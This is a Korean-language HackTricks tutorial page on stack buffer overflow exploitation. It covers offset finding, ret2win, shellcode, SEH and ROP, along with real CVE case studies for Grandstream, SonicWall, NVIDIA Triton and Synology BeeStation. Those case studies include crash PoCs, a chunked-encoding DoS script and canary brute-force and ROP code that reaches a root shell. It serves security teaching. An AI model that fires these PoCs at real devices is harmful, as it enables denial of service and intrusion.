Stack Overflow

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Stack Overflow란 무엇인가

stack overflow는 프로그램이 스택에 할당된 용량보다 더 많은 데이터를 기록할 때 발생하는 취약점입니다. 이 초과 데이터는 인접한 메모리 공간을 덮어써, 유효한 데이터 손상, 제어 흐름 교란, 그리고 잠재적으로 악성 코드 실행으로 이어질 수 있습니다. 이 문제는 입력에 대해 경계 검사를 수행하지 않는 안전하지 않은 함수의 사용으로 자주 발생합니다.

이 덮어쓰기의 주된 문제는 이전 함수로 돌아가기 위해 저장된 **saved instruction pointer (EIP/RIP)**와 **saved base pointer (EBP/RBP)**가 stack에 저장되어 있다는 것입니다. 따라서 공격자는 이를 덮어써서 프로그램의 실행 흐름을 제어할 수 있습니다.

취약점은 보통 함수가 스택 내부에 할당된 양보다 더 많은 바이트를 복사할 때 발생하여 스택의 다른 부분을 덮어쓸 수 있게 됩니다.

이 취약점에 취약한 일반적인 함수들로는 strcpy, strcat, sprintf, gets 등이 있습니다. 또한 길이 인자를 받는 fgets, readmemcpy 같은 함수들도 지정된 길이가 할당된 크기보다 클 경우 취약한 방식으로 사용될 수 있습니다.

예를 들어, 다음과 같은 함수들이 취약할 수 있습니다:

void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}

Stack Overflows 오프셋 찾기

stack overflows를 찾는 가장 일반적인 방법은 아주 많은 수의 A를 입력하는 것입니다(예: python3 -c 'print("A"*1000)') — 그리고 주소 0x41414141에 접근하려고 했다는 것을 나타내는 Segmentation Fault를 기대합니다.

또한, Stack Overflow 취약점이 있음을 확인한 후에는 return address를 덮어쓸 수 있을 때까지의 오프셋을 찾아야 하며, 이를 위해 보통 De Bruijn sequence를 사용합니다. 주어진 알파벳 크기 _k_와 길이 _n_의 부분열에 대해, 이는 길이 _n_인 가능한 모든 부분열이 연속한 부분열로 정확히 한 번씩 나타나는 cyclic sequence입니다.

이 방법을 사용하면 EIP를 수동으로 제어하기 위해 어느 오프셋이 필요한지 알아내는 대신, 이러한 시퀀스 중 하나를 패딩으로 사용하고 실제로 덮어쓰여진 바이트의 오프셋을 찾을 수 있습니다.

이를 위해 pwntools를 사용할 수 있습니다:

from pwn import *

# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)

# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value)  # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")

또는 GEF:

#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

Stack Overflows 악용

오버플로우 동안(오버플로우 크기가 충분히 큰 경우) 스택 내부의 지역 변수 값들을 저장된 **EBP/RBP and EIP/RIP (or even more)**에 도달할 때까지 덮어쓸 수 있습니다.
이 취약점을 악용하는 가장 일반적인 방법은 return address를 수정해서 함수가 끝날 때 control flow가 사용자가 지정한 위치로 리다이렉트되도록 하는 것입니다.

하지만 다른 시나리오에서는 단순히 스택의 일부 변수 값만 덮어쓰는 것으로도 충분한 경우가 있습니다(예: 쉬운 CTF 문제).

Ret2win

이 유형의 CTF 문제에서는 바이너리 내부에 호출되지 않는 함수가 있고 그것을 호출해야 승리합니다. 이런 문제에서는 return address를 덮어쓸 오프셋을 찾고 호출할 함수의 주소를 찾기만 하면 됩니다(대개 ASLR이 비활성화되어 있음). 취약한 함수가 리턴할 때 숨겨진 함수가 호출됩니다:

Ret2win

Stack Shellcode

이 시나리오에서는 공격자가 스택에 shellcode를 배치하고 제어되는 EIP/RIP를 이용해 shellcode로 점프하여 임의 코드를 실행할 수 있습니다:

Stack Shellcode

Windows SEH-based exploitation (nSEH/SEH)

32-bit Windows에서는 오버플로우가 저장된 return address 대신 Structured Exception Handler(SEH) 체인을 덮어쓸 수 있습니다. 보통 SEH 포인터를 POP POP RET gadget으로 교체하고 4바이트 nSEH 필드를 짧은 점프로 사용해 큰 버퍼로 피벗하여 shellcode로 돌아가게 합니다. 일반적인 패턴은 nSEH에 짧은 jmp를 넣고 그 앞에 배치된 5바이트 near jmp가 payload 시작부로 수백 바이트를 점프하게 하는 방식입니다.

Windows SEH Overflow

ROP & Ret2… techniques

이 기법은 이전 기법의 주요 방어를 우회하는 기본 프레임워크입니다: No executable stack (NX). 또한 기존 바이너리의 명령들을 재조합하여 여러 다른 기법(ret2lib, ret2syscall 등)을 수행하게 하고 궁극적으로 임의 명령을 실행하게 합니다:

ROP & JOP

Heap Overflows

오버플로우는 항상 스택에서만 발생하는 것이 아니며, 예를 들어 heap에서도 발생할 수 있습니다:

Heap Overflow

Types of protections

취약점 악용을 막기 위해 여러 가지 보호 기법들이 존재합니다. 다음에서 확인하세요:

Common Binary Exploitation Protections & Bypasses

Real-World Example: CVE-2026-2329 (Grandstream GXP1600 unauthenticated HTTP stack overflow)

  • /app/bin/gs_web (32-bit ARM)은 TCP/80에서 인증 없이 /cgi-bin/api.values.get를 노출합니다. POST 파라미터 request는 콜론으로 구분되며; 각 문자는 char small_buffer[64]에 복사되고 토큰은 : 또는 끝에서 NUL로 종료되는데 길이 체크 없이 처리되어 하나의 과도한 토큰이 저장된 레지스터/return address를 파괴할 수 있습니다.
  • PoC 오버플로우(충돌하고 레지스터에 공격자 데이터를 보여줌): curl -ik http://<target>/cgi-bin/api.values.get --data "request=$(python3 - <<'PY'\nprint('A'*256)\nPY)".
  • 구분자 기반 다중 NUL 배치: 각 콜론은 파싱을 재시작하고 후행 NUL을 추가합니다. 여러 개의 과긴 식별자를 사용하면 각 토큰의 종료 문자가 손상된 프레임의 다른 오프셋에 정렬될 수 있어 공격자가 보통 하나만 추가되는 것과 달리 여러 개의 0x00 바이트를 원하는 위치에 배치할 수 있습니다. 이는 non-PIE 바이너리가 0x00008000에 매핑되어 ROP gadget 주소에 NUL 바이트가 포함되기 때문에 중요합니다.
  • 오프셋에 NUL을 다섯 개 떨어뜨리기 위한 예제 콜론 페이로드(스택 레이아웃에 따라 길이 조정): AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:BBBBBBBBBBBBBBBBBBBBB:CCCCCCCCCCCCCCCCCCCC:DDDDDDDDDDD:EEE
  • checksecNX enabled, no canary, no PIE를 보여줍니다. 익스플로잇은 고정 주소로부터 구성된 ROP 체인을 사용합니다(예: system() 호출 후 exit()), 구분자 트릭으로 필요한 NUL 바이트를 심어 인자를 준비합니다.

Real-World Example: CVE-2025-40596 (SonicWall SMA100)

sscanf를 신뢰해서는 안 되는지를 잘 보여주는 사례가 2025년 SonicWall의 SMA100 SSL-VPN 어플라이언스에서 나왔습니다. 취약 루틴은 /usr/src/EasyAccess/bin/httpd 내부에 있으며 /__api__/로 시작하는 URI에서 버전과 endpoint를 추출하려 시도합니다:

char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
  1. 첫 번째 변환 (%2s)은 version에 안전하게 바이트를 저장합니다 (예: "v1").
  2. 두 번째 변환 (%s)에는 길이 지정자(length specifier)가 없습니다, 따라서 sscanf첫 번째 NUL 바이트까지 계속 복사합니다.
  3. endpointstack에 위치하고 0x800 bytes long이므로, 0x800 바이트보다 긴 경로를 제공하면 버퍼 뒤에 있는 모든 것이 손상됩니다 ‑ stack canarysaved return address를 포함하여.

단일 라인의 PoC(proof-of-concept)만으로도 충돌을 인증 전에 유발하기에 충분합니다:

import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)

stack canaries가 프로세스를 중단시키더라도, 공격자는 여전히 Denial-of-Service 프리미티브를 얻는다(추가적인 정보 leak이 있을 경우 code-execution이 가능할 수 있다).

실제 사례: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)

NVIDIA의 Triton Inference Server (≤ v25.06)에는 HTTP API를 통해 접근 가능한 여러 stack-based overflows가 포함되어 있었다. 취약한 패턴은 http_server.ccsagemaker_server.cc에서 반복적으로 발견되었다:

int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
  1. evbuffer_peek (libevent)는 현재 HTTP 요청 본문을 구성하는 내부 버퍼 세그먼트의 수를 반환합니다.
  2. 각 세그먼트는 alloca()를 통해 16-byte 크기의 evbuffer_iovecstack에 할당되며 – 상한이 없습니다.
  3. **HTTP chunked transfer-encoding**를 악용하면, 클라이언트는 요청을 수십만 개의 6-byte 청크 ("1\r\nA\r\n")로 분할하도록 강제할 수 있습니다. 이는 n이 stack이 소진될 때까지 무한히 증가하게 만듭니다.

개념 증명 (DoS)

Chunked DoS PoC ```python #!/usr/bin/env python3 import socket, sys

def exploit(host=“localhost”, port=8000, chunks=523_800): s = socket.create_connection((host, port)) s.sendall(( f“POST /v2/models/add_sub/infer HTTP/1.1\r\n“ f“Host: {host}:{port}\r\n“ “Content-Type: application/octet-stream\r\n” “Inference-Header-Content-Length: 0\r\n” “Transfer-Encoding: chunked\r\n” “Connection: close\r\n\r\n” ).encode())

for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc s.send(b“1\r\nA\r\n“) # amplification factor ≈ 2.6x s.sendall(b“0\r\n\r\n“) # end of chunks s.close()

if name == “main”: exploit(*sys.argv[1:])

</details>
A ~3 MB request is enough to overwrite the saved return address and **crash** the daemon on a default build.

### 실제 사례: CVE-2025-12686 (Synology BeeStation Bee-AdminCenter)

Synacktiv의 Pwn2Own 2025 체인은 포트 5000의 `SYNO.BEE.AdminCenter.Auth`에서 pre-auth overflow를 악용했다. `AuthManagerImpl::ParseAuthInfo`는 공격자 입력을 Base64 디코딩하여 4096-byte stack buffer에 넣지만 `decoded_len = auth_info->len`로 잘못 설정한다. CGI worker가 요청마다 fork되기 때문에, 각 자식은 부모의 stack canary를 상속받아 하나의 안정적인 overflow primitive만으로도 스택을 손상시키고 필요한 모든 비밀을 leak하기에 충분하다.

#### 구조화된 overflow로서의 Base64 디코딩된 JSON
디코딩된 blob은 유효한 JSON이어야 하며 `"state"`와 `"code"` 키를 포함해야 한다; 그렇지 않으면 parser가 overflow가 유용해지기 전에 예외를 발생시킨다. Synacktiv은 JSON으로 디코딩되는 페이로드, 그 다음 NUL 바이트, 그 다음 overflow stream을 포함하도록 페이로드를 Base64-인코딩하여 이를 해결했다. `strlen(decoded)`가 NUL에서 멈추므로 파싱은 성공하지만, `SLIBCBase64Decode`는 이미 JSON 객체를 지나 스택을 덮어써 canary, saved RBP, return address를 덮어썼다.
```python
pld  = b'{"code":"","state":""}\x00'  # JSON accepted by Json::Reader
pld += b"A"*4081                              # reach the canary slot
pld += marker_bytes                            # guessed canary / pointer data
send_request(pld)

Crash-oracle bruteforcing of canaries & pointers

synoscgi는 HTTP 요청마다 한 번 fork하므로, 모든 자식 프로세스는 동일한 canary, stack layout, 그리고 PIE slide를 공유한다. exploit은 HTTP 상태 코드를 oracle로 취급한다: 200 응답은 추측한 바이트가 stack을 보존했음을 의미하고, 502 (또는 연결 끊김)는 프로세스가 크래시했음을 의미한다. 각 바이트를 순차적으로 brute-forcing하면 8-byte canary, 저장된 stack pointer, 그리고 libsynobeeadmincenter.so 내부의 return address를 복구한다:

def bf_next_byte(prefix):
for guess in range(0x100):
try:
if send_request(prefix + bytes([guess])).status_code == 200:
return bytes([guess])
except requests.exceptions.ReadTimeout:
continue
raise RuntimeError("oracle lost sync")

bf_next_ptr는 확인된 접두사를 덧붙이면서 bf_next_byte를 단순히 여덟 번 호출한다. Synacktiv은 이 오라클들을 약 16개의 워커 스레드로 병렬화하여 전체 leak 시간 (canary + stack ptr + lib base)을 3분 미만으로 단축했다.

leaks에서 ROP 및 실행까지

라이브러리 base가 알려지면, common gadgets (pop rdi, pop rsi, mov [rdi], rsi; xor eax, eax; ret)은 arb_write 프리미티브를 구성하여 /bin/bash, -c 및 공격자 명령을 leaked 스택 주소에 배치한다. 마지막으로 체인은 SLIBCExecl (a BeeStation wrapper around execl(2))의 호출 규약을 설정하여 별도의 info-leak 버그 없이 root shell을 얻는다.

References

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기